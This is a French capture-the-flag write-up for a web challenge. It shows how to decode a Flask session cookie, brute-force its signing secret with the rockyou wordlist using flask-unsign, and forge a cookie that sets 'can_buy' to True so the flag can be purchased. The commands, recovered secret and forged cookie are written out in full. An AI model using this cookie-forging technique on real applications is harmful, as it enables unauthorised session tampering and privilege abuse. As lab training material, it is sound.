Clone Udemy

Flag: StarHack{cookie_manipulation_currency_conversion_error}

Challenge

Description


Je crée un clone de Udemy, tout se passe bien jusqu'à présent, mais je veux m'assurer qu'il est bien sécurisé. Peux-tu m'aider ?

LINK

Solution

Ici, il faut repérer le cookie de session. Le serveur nous donne l'indication que c'est du flask dans l'entête de ses réponses, on peut utiliser flask-unsign sur notre cookie pour confirmer cela.

$ flask-unsign --decode --cookie ".eJxVjkEKwzAMBL-i6mzyAP-g0EOvpYSgOIpjcGWw7EAI-XsMbSk9LbvMSrvjMEfShRXtc0coTVCrc6yKBh-pwkIrw8gsEJP3PEGqpcP-MF-cc065wVdZKYYJXOaJpQSK2sE9MilDyRuQpyB_zd-jW_JB4OPnGi8N6w06kmGsG9q5HWOD7wVDELQl1xZU5Sz0YrRYWAseJ-wkR1c.ZysU9g.H1uBMSs10UCtgIIxqJiQHNeIv04"
{'_flashes': [('success', 'You have been logged out.'), ('error', 'Invalid credentials. Please try again.'), ('success', 'Login successful!')], 'can_buy': False, 'logged_in': True, 'username': 'test'}

On a un champ can_buy, et comme c'est ce que l'on doit faire vu que l'on peut acheter le flag, il va falloir changer cette valeur. Pour ça il faut forger un nouveau cookie et donc trouver le secret que le serveur utilise.

Toujours avec flask-unsign, on va tester tous les mots de la wordlist rockyou.txt pour voir si l'un d'eux est utilisé par le serveur.

$ flask-unsign --unsign --wordlist "E:/Downloads/rockyou.txt" --no-literal-eval --cookie ".eJxVjkEKwzAMBL-i6mzyAP-g0EOvpYSgOIpjcGWw7EAI-XsMbSk9LbvMSrvjMEfShRXtc0coTVCrc6yKBh-pwkIrw8gsEJP3PEGqpcP-MF-cc065wVdZKYYJXOaJpQSK2sE9MilDyRuQpyB_zd-jW_JB4OPnGi8N6w06kmGsG9q5HWOD7wVDELQl1xZU5Sz0YrRYWAseJ-wkR1c.ZysU9g.H1uBMSs10UCtgIIxqJiQHNeIv04"
[*] Session decodes to: {'_flashes': [('success', 'You have been logged out.'), ('error', 'Invalid credentials. Please try again.'), ('success', 'Login successful!')], 'can_buy': False, 'logged_in': True, 'username': 'test'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 9216 attempts
b'apocalipsis'

Bingo ! Le serveur utilise apocalipsis pour générer les cookies. On peut donc en forger nous-mêmes :

flask-unsign --sign --secret 'apocalipsis' --cookie "{'_flashes': [('success', 'You have been logged out.'), ('error', 'Invalid credentials. Please try again.'), ('success', 'Login successful!')], 'can_buy': True, 'logged_in': True, 'username': 'test'}"
.eJxVjsEKgzAQRH9lu-fgB_gHhR56LUVkjWsMpBvYTQQR_71CK6WnYYY3zGzYT4lsZsP2uSGUQ9Cq92yGDh-5wkwLw8AskHIIPEKupcFudyfOqlkP-CoLpTiCVx5ZSqRkDdwTkzEUXYECRflr_oZuOUSBr59quhxY59CT9ENdsS1a2eHnQB_lDKqxCr0YWyxsBfc3p01HDA.ZysXQQ.Vh6mNaBnGjzhLnnfCPJZh8t95a0

Il ne reste plus qu'à relance la requête /purchase avec notre nouveau cookie pour obtenir le flag :

Dernière mise à jour

Cet article vous a-t-il été utile ?